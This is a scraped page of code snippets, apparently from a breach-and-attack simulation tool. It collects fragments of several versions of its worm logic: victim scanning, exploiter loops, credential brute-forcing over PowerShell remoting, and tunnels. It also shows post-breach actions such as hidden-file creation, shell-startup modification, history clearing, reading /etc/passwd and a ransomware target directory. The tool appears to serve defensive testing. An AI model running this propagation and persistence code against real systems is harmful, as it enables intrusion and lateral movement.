Ejemplo n.º 1
0
    def run(self):
        # create hidden files and folders
        for function_to_get_commands in HIDDEN_FSO_CREATION_COMMANDS:
            linux_cmds, windows_cmds = function_to_get_commands()
            super(HiddenFiles, self).__init__(name=POST_BREACH_HIDDEN_FILES,
                                              linux_cmd=' '.join(linux_cmds),
                                              windows_cmd=windows_cmds)
            super(HiddenFiles, self).run()
        if is_windows_os():  # use winAPI
            result, status = get_winAPI_to_hide_files()
            PostBreachTelem(self, (result, status)).send()

        # cleanup hidden files and folders
        cleanup_hidden_files(is_windows_os())
Ejemplo n.º 2
0
def cleanup_changes(original_comspec):
    if is_windows_os():
        subprocess.run(  # noqa: DUO116
            get_windows_commands_to_reset_comspec(original_comspec),
            shell=True)
        subprocess.run(get_windows_commands_to_delete_temp_comspec(),
                       shell=True)  # noqa: DUO116
Ejemplo n.º 3
0
 def __init__(self):
     super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION)
     self.filename = ''
     if not is_windows_os():
         # Add linux commands to PBA's
         if WormConfiguration.PBA_linux_filename:
             if WormConfiguration.custom_PBA_linux_cmd:
                 # Add change dir command, because user will try to access his file
                 self.command = (DIR_CHANGE_LINUX % get_monkey_dir_path()
                                 ) + WormConfiguration.custom_PBA_linux_cmd
                 self.filename = WormConfiguration.PBA_linux_filename
             else:
                 file_path = os.path.join(
                     get_monkey_dir_path(),
                     WormConfiguration.PBA_linux_filename)
                 self.command = DEFAULT_LINUX_COMMAND.format(file_path)
                 self.filename = WormConfiguration.PBA_linux_filename
         elif WormConfiguration.custom_PBA_linux_cmd:
             self.command = WormConfiguration.custom_PBA_linux_cmd
     else:
         # Add windows commands to PBA's
         if WormConfiguration.PBA_windows_filename:
             if WormConfiguration.custom_PBA_windows_cmd:
                 # Add change dir command, because user will try to access his file
                 self.command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path(
                 )) + WormConfiguration.custom_PBA_windows_cmd
                 self.filename = WormConfiguration.PBA_windows_filename
             else:
                 file_path = os.path.join(
                     get_monkey_dir_path(),
                     WormConfiguration.PBA_windows_filename)
                 self.command = DEFAULT_WINDOWS_COMMAND.format(file_path)
                 self.filename = WormConfiguration.PBA_windows_filename
         elif WormConfiguration.custom_PBA_windows_cmd:
             self.command = WormConfiguration.custom_PBA_windows_cmd
def get_linux_commands_to_modify_shell_startup_files():
    if is_windows_os():
        return '', [], []

    HOME_DIR = "/home/"

    # get list of usernames
    USERS = subprocess.check_output(  # noqa: DUO116
            "cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1",
            shell=True
        ).decode().split('\n')[:-1]

    # get list of paths of different shell startup files with place for username
    STARTUP_FILES = [
        file_path.format(HOME_DIR) for file_path in
        [
            "{0}{{0}}/.profile",                    # bash, dash, ksh, sh
            "{0}{{0}}/.bashrc",                     # bash
            "{0}{{0}}/.bash_profile",
            "{0}{{0}}/.config/fish/config.fish",    # fish
            "{0}{{0}}/.zshrc",                      # zsh
            "{0}{{0}}/.zshenv",
            "{0}{{0}}/.zprofile",
            "{0}{{0}}/.kshrc",                      # ksh
            "{0}{{0}}/.tcshrc",                     # tcsh
            "{0}{{0}}/.cshrc",                      # csh
        ]
    ]

    return [
        '3<{0} 3<&- &&',  # check for existence of file
        'echo \"# Succesfully modified {0}\" |',
        'tee -a {0} &&',  # append to file
        'sed -i \'$d\' {0}',  # remove last line of file (undo changes)
    ], STARTUP_FILES, USERS
def get_windows_commands_to_modify_shell_startup_files():
    if not is_windows_os():
        return "", []

    # get powershell startup file path
    SHELL_STARTUP_FILE = subprocess.check_output(
        "powershell $Profile").decode().split("\r\n")[0]
    SHELL_STARTUP_FILE_PATH_COMPONENTS = SHELL_STARTUP_FILE.split("\\")

    # get list of usernames
    USERS = (
        subprocess.check_output("dir C:\\Users /b", shell=True)  # noqa: DUO116
        .decode().split("\r\n")[:-1])
    USERS.remove("Public")

    STARTUP_FILES_PER_USER = [
        "\\".join(SHELL_STARTUP_FILE_PATH_COMPONENTS[:2] + [user] +
                  SHELL_STARTUP_FILE_PATH_COMPONENTS[3:]) for user in USERS
    ]

    return [
        "powershell.exe",
        "infection_monkey/post_breach/shell_startup_files/windows"
        "/modify_powershell_startup_file.ps1",
        "-startup_file_path {0}",
    ], STARTUP_FILES_PER_USER
Ejemplo n.º 6
0
 def choose_command(linux_cmd, windows_cmd):
     """
     Helper method that chooses between linux and windows commands.
     :param linux_cmd:
     :param windows_cmd:
     :return: Command for current os
     """
     return windows_cmd if is_windows_os() else linux_cmd
Ejemplo n.º 7
0
 def should_run(class_name):
     if not is_windows_os():
         if WormConfiguration.PBA_linux_filename or WormConfiguration.custom_PBA_linux_cmd:
             return True
     else:
         if WormConfiguration.PBA_windows_filename or WormConfiguration.custom_PBA_windows_cmd:
             return True
     return False
Ejemplo n.º 8
0
def get_linux_usernames():
    if is_windows_os():
        return []

    # get list of usernames
    USERS = subprocess.check_output(  # noqa: DUO116
        "cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1",
        shell=True).decode().split('\n')[:-1]

    return USERS
Ejemplo n.º 9
0
    def _set_target_directory(self, os_target_directories: dict):
        if is_windows_os():
            target_directory = os_target_directories["windows_target_dir"]
        else:
            target_directory = os_target_directories["linux_target_dir"]

        try:
            self.target_directory = expand_path(target_directory)
        except InvalidPath as e:
            logger.debug(f"Target ransomware directory set to None: {e}")
            self.target_directory = None
Ejemplo n.º 10
0
 def get_commandline_for_http_request(url, is_windows=is_windows_os()):
     if is_windows:
         format_string = \
             'powershell.exe -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; ' \
             'Invoke-WebRequest {url} -UseBasicParsing"'
     else:
         # true || false -> 0.  false || true -> 0.  false || false -> 1. So:
         # if curl works, we're good.
         # If curl doesn't exist or fails and wget work, we're good.
         # And if both don't exist: we'll call it a win.
         format_string = "curl {url} || wget -O/dev/null -q {url}"
     return format_string.format(url=url)
Ejemplo n.º 11
0
 def run(self):
     try:
         original_comspec = ""
         if is_windows_os():
             original_comspec = subprocess.check_output(  # noqa: DUO116
                 "if defined COMSPEC echo %COMSPEC%",
                 shell=True).decode()
         super().run()
     except Exception as e:
         LOG.warning(f"An exception occurred on running PBA "
                     f"{POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC}: {str(e)}")
     finally:
         cleanup_changes(original_comspec)
Ejemplo n.º 12
0
 def get_commandline_for_http_request(url, is_windows=is_windows_os()):
     if is_windows:
         format_string = (
             'powershell.exe -command "[Net.ServicePointManager]::SecurityProtocol = ['
             "Net.SecurityProtocolType]::Tls12; "
             'Invoke-WebRequest {url} -UseBasicParsing"')
     else:
         # if curl works, we're good.
         # If curl doesn't exist or fails and wget work, we're good.
         # And if both don't exist: we'll call it a win.
         if shutil.which("curl") is not None:
             format_string = "curl {url}"
         else:
             format_string = "wget -O/dev/null -q {url}"
     return format_string.format(url=url)
Ejemplo n.º 13
0
def get_linux_commands_to_clear_command_history():
    if is_windows_os():
        return ''

    TEMP_HIST_FILE = '$HOME/monkey-temp-hist-file'

    return [
        '3<{0} 3<&- && ',  # check for existence of file
        'cat {0} '  # copy contents of history file to...
        f'> {TEMP_HIST_FILE} && ',  # ...temporary file
        'echo > {0} && ',  # clear contents of file
        'echo \"Successfully cleared {0}\" && ',  # if successfully cleared
        f'cat {TEMP_HIST_FILE} ',  # restore history file back with...
        '> {0} ;'  # ...original contents
        f'rm {TEMP_HIST_FILE} -f'  # remove temp history file
    ]
Ejemplo n.º 14
0
def get_linux_commands_to_clear_command_history():
    if is_windows_os():
        return ""

    TEMP_HIST_FILE = "$HOME/monkey-temp-hist-file"

    return [
        "3<{0} 3<&- && ",  # check for existence of file
        "cat {0} "  # copy contents of history file to...
        f"> {TEMP_HIST_FILE} && ",  # ...temporary file
        "echo > {0} && ",  # clear contents of file
        'echo "Successfully cleared {0}" && ',  # if successfully cleared
        f"cat {TEMP_HIST_FILE} ",  # restore history file back with...
        "> {0} ;"
        f"rm {TEMP_HIST_FILE} -f",  # ...original contents  # remove temp history file
    ]
Ejemplo n.º 15
0
def create_auto_new_user(username, password, is_windows=is_windows_os()):
    """
    Factory method for creating an AutoNewUser. See AutoNewUser's documentation for more information.
    Example usage:
        with create_auto_new_user(username, PASSWORD) as new_user:
            ...
    :param username: The username of the new user.
    :param password: The password of the new user.
    :param is_windows: If True, a new Windows user is created. Otherwise, a Linux user is created. Leave blank for
    automatic detection.
    :return: The new AutoNewUser object - use with a `with` scope.
    """
    if is_windows:
        return AutoNewWindowsUser(username, password)
    else:
        return AutoNewLinuxUser(username, password)
Ejemplo n.º 16
0
def get_linux_command_history_files():
    if is_windows_os():
        return []

    HOME_DIR = "/home/"

    # get list of paths of different shell history files (default values) with place for username
    STARTUP_FILES = [
        file_path.format(HOME_DIR) for file_path in [
            "{0}{{0}}/.bash_history",  # bash
            "{0}{{0}}/.local/share/fish/fish_history",  # fish
            "{0}{{0}}/.zsh_history",  # zsh
            "{0}{{0}}/.sh_history",  # ksh
            "{0}{{0}}/.history",  # csh, tcsh
        ]
    ]

    return STARTUP_FILES
Ejemplo n.º 17
0
 def set_proxies(proxy_find):
     """
     Note: The proxy schema changes between different versions of requests and urllib3,
     which causes the machine to not open a tunnel back.
     If we get "ValueError: check_hostname requires server_hostname" or
     "Proxy URL had not schema, should start with http:// or https://" errors,
     the proxy schema needs to be changed.
     Keep this in mind when upgrading to newer python version or when urllib3 and
     requests are updated there is possibility that the proxy schema is changed.
     https://github.com/psf/requests/issues/5297
     https://github.com/psf/requests/issues/5855
     """
     proxy_address, proxy_port = proxy_find
     logger.info("Found tunnel at %s:%s" % (proxy_address, proxy_port))
     if is_windows_os():
         ControlClient.proxies[
             "https"] = f"http://{proxy_address}:{proxy_port}"
     else:
         ControlClient.proxies["https"] = f"{proxy_address}:{proxy_port}"
Ejemplo n.º 18
0
    def __init__(self):
        super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION)
        self.filename = ""

        if not is_windows_os():
            # Add linux commands to PBA's
            if WormConfiguration.PBA_linux_filename:
                self.filename = WormConfiguration.PBA_linux_filename
                if WormConfiguration.custom_PBA_linux_cmd:
                    # Add change dir command, because user will try to access his file
                    self.command = (DIR_CHANGE_LINUX % get_monkey_dir_path()
                                    ) + WormConfiguration.custom_PBA_linux_cmd
            elif WormConfiguration.custom_PBA_linux_cmd:
                self.command = WormConfiguration.custom_PBA_linux_cmd
        else:
            # Add windows commands to PBA's
            if WormConfiguration.PBA_windows_filename:
                self.filename = WormConfiguration.PBA_windows_filename
                if WormConfiguration.custom_PBA_windows_cmd:
                    # Add change dir command, because user will try to access his file
                    self.command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path(
                    )) + WormConfiguration.custom_PBA_windows_cmd
            elif WormConfiguration.custom_PBA_windows_cmd:
                self.command = WormConfiguration.custom_PBA_windows_cmd
Ejemplo n.º 19
0
    def _exploit_host(self):
        try:
            use_ssl = self._is_client_using_https()
        except PowerShellRemotingDisabledError as e:
            logging.info(e)
            return False

        credentials = get_credentials(
            self._config.exploit_user_list,
            self._config.exploit_password_list,
            self._config.exploit_lm_hash_list,
            self._config.exploit_ntlm_hash_list,
            is_windows_os(),
        )
        auth_options = [
            get_auth_options(creds, use_ssl) for creds in credentials
        ]

        self._client = self._authenticate_via_brute_force(
            credentials, auth_options)
        if not self._client:
            return False

        return self._execute_monkey_agent_on_victim()
Ejemplo n.º 20
0
    def start(self):
        LOG.info("Monkey is running...")

        # Sets island's IP and port for monkey to communicate to
        if not self.set_default_server():
            return
        self.set_default_port()

        # Create a dir for monkey files if there isn't one
        create_monkey_dir()

        if WindowsUpgrader.should_upgrade():
            self._upgrading_to_64 = True
            self._singleton.unlock()
            LOG.info("32bit monkey running on 64bit Windows. Upgrading.")
            WindowsUpgrader.upgrade(self._opts)
            return

        ControlClient.wakeup(parent=self._parent)
        ControlClient.load_control_config()

        if is_windows_os():
            T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send()

        if not WormConfiguration.alive:
            LOG.info("Marked not alive from configuration")
            return

        if firewall.is_enabled():
            firewall.add_firewall_rule()

        monkey_tunnel = ControlClient.create_control_tunnel()
        if monkey_tunnel:
            monkey_tunnel.start()

        StateTelem(is_done=False).send()
        TunnelTelem().send()

        if WormConfiguration.collect_system_info:
            LOG.debug("Calling system info collection")
            system_info_collector = SystemInfoCollector()
            system_info = system_info_collector.get_info()
            SystemInfoTelem(system_info).send()

        # Executes post breach actions
        PostBreach().execute()

        if 0 == WormConfiguration.depth:
            TraceTelem("Reached max depth, shutting down").send()
            return
        else:
            LOG.debug("Running with depth: %d" % WormConfiguration.depth)

        for iteration_index in xrange(WormConfiguration.max_iterations):
            ControlClient.keepalive()
            ControlClient.load_control_config()

            self._network.initialize()

            self._exploiters = WormConfiguration.exploiter_classes

            self._fingerprint = [
                fingerprint()
                for fingerprint in WormConfiguration.finger_classes
            ]

            if not self._keep_running or not WormConfiguration.alive:
                break

            machines = self._network.get_victim_machines(
                max_find=WormConfiguration.victims_max_find,
                stop_callback=ControlClient.check_for_stop)
            is_empty = True
            for machine in machines:
                if ControlClient.check_for_stop():
                    break

                is_empty = False
                for finger in self._fingerprint:
                    LOG.info(
                        "Trying to get OS fingerprint from %r with module %s",
                        machine, finger.__class__.__name__)
                    finger.get_host_fingerprint(machine)

                ScanTelem(machine).send()

                # skip machines that we've already exploited
                if machine in self._exploited_machines:
                    LOG.debug("Skipping %r - already exploited", machine)
                    continue
                elif machine in self._fail_exploitation_machines:
                    if WormConfiguration.retry_failed_explotation:
                        LOG.debug(
                            "%r - exploitation failed before, trying again",
                            machine)
                    else:
                        LOG.debug("Skipping %r - exploitation failed before",
                                  machine)
                        continue

                if monkey_tunnel:
                    monkey_tunnel.set_tunnel_for_host(machine)
                if self._default_server:
                    if self._network.on_island(self._default_server):
                        machine.set_default_server(
                            get_interface_to_target(machine.ip_addr) +
                            (':' + self._default_server_port if self.
                             _default_server_port else ''))
                    else:
                        machine.set_default_server(self._default_server)
                    LOG.debug("Default server for machine: %r set to %s" %
                              (machine, machine.default_server))

                # Order exploits according to their type
                if WormConfiguration.should_exploit:
                    self._exploiters = sorted(
                        self._exploiters,
                        key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value)
                    host_exploited = False
                    for exploiter in [
                            exploiter(machine)
                            for exploiter in self._exploiters
                    ]:
                        if self.try_exploiting(machine, exploiter):
                            host_exploited = True
                            VictimHostTelem('T1210',
                                            ScanStatus.USED,
                                            machine=machine).send()
                            break
                    if not host_exploited:
                        self._fail_exploitation_machines.add(machine)
                        VictimHostTelem('T1210',
                                        ScanStatus.SCANNED,
                                        machine=machine).send()
                if not self._keep_running:
                    break

            if (not is_empty) and (WormConfiguration.max_iterations >
                                   iteration_index + 1):
                time_to_sleep = WormConfiguration.timeout_between_iterations
                LOG.info(
                    "Sleeping %d seconds before next life cycle iteration",
                    time_to_sleep)
                time.sleep(time_to_sleep)

        if self._keep_running and WormConfiguration.alive:
            LOG.info("Reached max iterations (%d)",
                     WormConfiguration.max_iterations)
        elif not WormConfiguration.alive:
            LOG.info("Marked not alive from configuration")

        # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to
        # connect to the tunnel
        if len(self._exploited_machines) > 0:
            time_to_sleep = WormConfiguration.keep_tunnel_open_time
            LOG.info(
                "Sleeping %d seconds for exploited machines to connect to tunnel",
                time_to_sleep)
            time.sleep(time_to_sleep)

        if monkey_tunnel:
            monkey_tunnel.stop()
            monkey_tunnel.join()
Ejemplo n.º 21
0
def remove_scheduled_jobs():
    if is_windows_os():
        subprocess.run(get_windows_commands_to_remove_scheduled_jobs(),
                       shell=True)  # noqa: DUO116
Ejemplo n.º 22
0
    def start(self):
        try:
            LOG.info("Monkey is starting...")

            LOG.debug("Starting the setup phase.")
            # Sets island's IP and port for monkey to communicate to
            self.set_default_server()
            self.set_default_port()

            # Create a dir for monkey files if there isn't one
            create_monkey_dir()

            self.upgrade_to_64_if_needed()

            ControlClient.wakeup(parent=self._parent)
            ControlClient.load_control_config()

            if is_windows_os():
                T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send()

            self.shutdown_by_not_alive_config()

            if self.is_started_on_island():
                ControlClient.report_start_on_island()
            ControlClient.should_monkey_run(self._opts.vulnerable_port)

            if firewall.is_enabled():
                firewall.add_firewall_rule()

            monkey_tunnel = ControlClient.create_control_tunnel()
            if monkey_tunnel:
                monkey_tunnel.start()

            StateTelem(is_done=False, version=get_version()).send()
            TunnelTelem().send()

            LOG.debug("Starting the post-breach phase.")
            self.collect_system_info_if_configured()
            PostBreach().execute_all_configured()

            LOG.debug("Starting the propagation phase.")
            self.shutdown_by_max_depth_reached()

            for iteration_index in range(WormConfiguration.max_iterations):
                ControlClient.keepalive()
                ControlClient.load_control_config()

                self._network.initialize()

                self._fingerprint = HostFinger.get_instances()

                self._exploiters = HostExploiter.get_classes()

                if not self._keep_running or not WormConfiguration.alive:
                    break

                machines = self._network.get_victim_machines(
                    max_find=WormConfiguration.victims_max_find,
                    stop_callback=ControlClient.check_for_stop)
                is_empty = True
                for machine in machines:
                    if ControlClient.check_for_stop():
                        break

                    is_empty = False
                    for finger in self._fingerprint:
                        LOG.info(
                            "Trying to get OS fingerprint from %r with module %s",
                            machine, finger.__class__.__name__)
                        finger.get_host_fingerprint(machine)

                    ScanTelem(machine).send()

                    # skip machines that we've already exploited
                    if machine in self._exploited_machines:
                        LOG.debug("Skipping %r - already exploited", machine)
                        continue
                    elif machine in self._fail_exploitation_machines:
                        if WormConfiguration.retry_failed_explotation:
                            LOG.debug(
                                "%r - exploitation failed before, trying again",
                                machine)
                        else:
                            LOG.debug(
                                "Skipping %r - exploitation failed before",
                                machine)
                            continue

                    if monkey_tunnel:
                        monkey_tunnel.set_tunnel_for_host(machine)
                    if self._default_server:
                        if self._network.on_island(self._default_server):
                            machine.set_default_server(
                                get_interface_to_target(machine.ip_addr) +
                                (':' + self._default_server_port if self.
                                 _default_server_port else ''))
                        else:
                            machine.set_default_server(self._default_server)
                        LOG.debug("Default server for machine: %r set to %s" %
                                  (machine, machine.default_server))

                    # Order exploits according to their type
                    self._exploiters = sorted(
                        self._exploiters,
                        key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value)
                    host_exploited = False
                    for exploiter in [
                            exploiter(machine)
                            for exploiter in self._exploiters
                    ]:
                        if self.try_exploiting(machine, exploiter):
                            host_exploited = True
                            VictimHostTelem('T1210',
                                            ScanStatus.USED,
                                            machine=machine).send()
                            break
                    if not host_exploited:
                        self._fail_exploitation_machines.add(machine)
                        VictimHostTelem('T1210',
                                        ScanStatus.SCANNED,
                                        machine=machine).send()
                    if not self._keep_running:
                        break

                if (not is_empty) and (WormConfiguration.max_iterations >
                                       iteration_index + 1):
                    time_to_sleep = WormConfiguration.timeout_between_iterations
                    LOG.info(
                        "Sleeping %d seconds before next life cycle iteration",
                        time_to_sleep)
                    time.sleep(time_to_sleep)

            if self._keep_running and WormConfiguration.alive:
                LOG.info("Reached max iterations (%d)",
                         WormConfiguration.max_iterations)
            elif not WormConfiguration.alive:
                LOG.info("Marked not alive from configuration")

            # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to
            # connect to the tunnel
            if len(self._exploited_machines) > 0:
                time_to_sleep = WormConfiguration.keep_tunnel_open_time
                LOG.info(
                    "Sleeping %d seconds for exploited machines to connect to tunnel",
                    time_to_sleep)
                time.sleep(time_to_sleep)

            if monkey_tunnel:
                monkey_tunnel.stop()
                monkey_tunnel.join()
        except PlannedShutdownException:
            LOG.info(
                "A planned shutdown of the Monkey occurred. Logging the reason and finishing execution."
            )
            LOG.exception("Planned shutdown, reason:")
Ejemplo n.º 23
0
def cleanup_hidden_files(is_windows=is_windows_os()):
    subprocess.run(
        get_windows_commands_to_delete() if is_windows  # noqa: DUO116
        else ' '.join(get_linux_commands_to_delete()),
        shell=True)
Ejemplo n.º 24
0
        network for network in ipv4_nets if network['addr'] != '127.0.0.1'
    ]
    # remove auto conf
    ipv4_nets = [
        network for network in ipv4_nets
        if not network['addr'].startswith('169.254')
    ]
    for network in ipv4_nets:
        if 'broadcast' in network:
            network.pop('broadcast')
        for attr in network:
            network[attr] = network[attr]
    return ipv4_nets


if is_windows_os():

    def local_ips():
        local_hostname = socket.gethostname()
        return socket.gethostbyname_ex(local_hostname)[2]

    def get_routes():
        raise NotImplementedError()
else:
    from fcntl import ioctl

    def local_ips():
        valid_ips = [network['addr'] for network in get_host_subnets()]
        return valid_ips

    def get_routes():  # based on scapy implementation for route parsing
Ejemplo n.º 25
0
 def get_commandline_for_ping(domain=PING_TEST_DOMAIN,
                              is_windows=is_windows_os()):
     format_string = "PING.exe {domain} -n 1" if is_windows else "ping -c 1 {domain}"
     return format_string.format(domain=domain)
Ejemplo n.º 26
0
 def __init__(self):
     self.os_is_linux = not is_windows_os()
     self.pba_list = self.config_to_pba_list()
Ejemplo n.º 27
0
 def _get_os():
     return "Windows" if is_windows_os() else "Linux"
Ejemplo n.º 28
0
 def should_upgrade():
     return is_windows_os() and is_64bit_windows_os() and not is_64bit_python()
Ejemplo n.º 29
0
    def start(self):
        try:
            logger.info("Monkey is starting...")

            logger.debug("Starting the setup phase.")
            # Sets island's IP and port for monkey to communicate to
            self.set_default_server()
            self.set_default_port()

            # Create a dir for monkey files if there isn't one
            create_monkey_dir()

            self.upgrade_to_64_if_needed()

            ControlClient.wakeup(parent=self._parent)
            ControlClient.load_control_config()

            if is_windows_os():
                T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send()

            self.shutdown_by_not_alive_config()

            if is_running_on_island():
                WormConfiguration.started_on_island = True
                ControlClient.report_start_on_island()

            if not ControlClient.should_monkey_run(self._opts.vulnerable_port):
                raise PlannedShutdownException(
                    "Monkey shouldn't run on current machine "
                    "(it will be exploited later with more depth)."
                )

            if firewall.is_enabled():
                firewall.add_firewall_rule()

            self._monkey_tunnel = ControlClient.create_control_tunnel()
            if self._monkey_tunnel:
                self._monkey_tunnel.start()

            StateTelem(is_done=False, version=get_version()).send()
            TunnelTelem().send()

            logger.debug("Starting the post-breach phase asynchronously.")
            self._post_breach_phase = Thread(target=self.start_post_breach_phase)
            self._post_breach_phase.start()

            if not InfectionMonkey.max_propagation_depth_reached():
                logger.info("Starting the propagation phase.")
                logger.debug("Running with depth: %d" % WormConfiguration.depth)
                self.propagate()
            else:
                logger.info(
                    "Maximum propagation depth has been reached; monkey will not propagate."
                )
                TraceTelem(MAX_DEPTH_REACHED_MESSAGE).send()

            if self._keep_running and WormConfiguration.alive:
                InfectionMonkey.run_ransomware()

            # if host was exploited, before continue to closing the tunnel ensure the exploited
            # host had its chance to
            # connect to the tunnel
            if len(self._exploited_machines) > 0:
                time_to_sleep = WormConfiguration.keep_tunnel_open_time
                logger.info(
                    "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep
                )
                time.sleep(time_to_sleep)

        except PlannedShutdownException:
            logger.info(
                "A planned shutdown of the Monkey occurred. Logging the reason and finishing "
                "execution."
            )
            logger.exception("Planned shutdown, reason:")

        finally:
            if self._monkey_tunnel:
                self._monkey_tunnel.stop()
                self._monkey_tunnel.join()

            if self._post_breach_phase:
                self._post_breach_phase.join()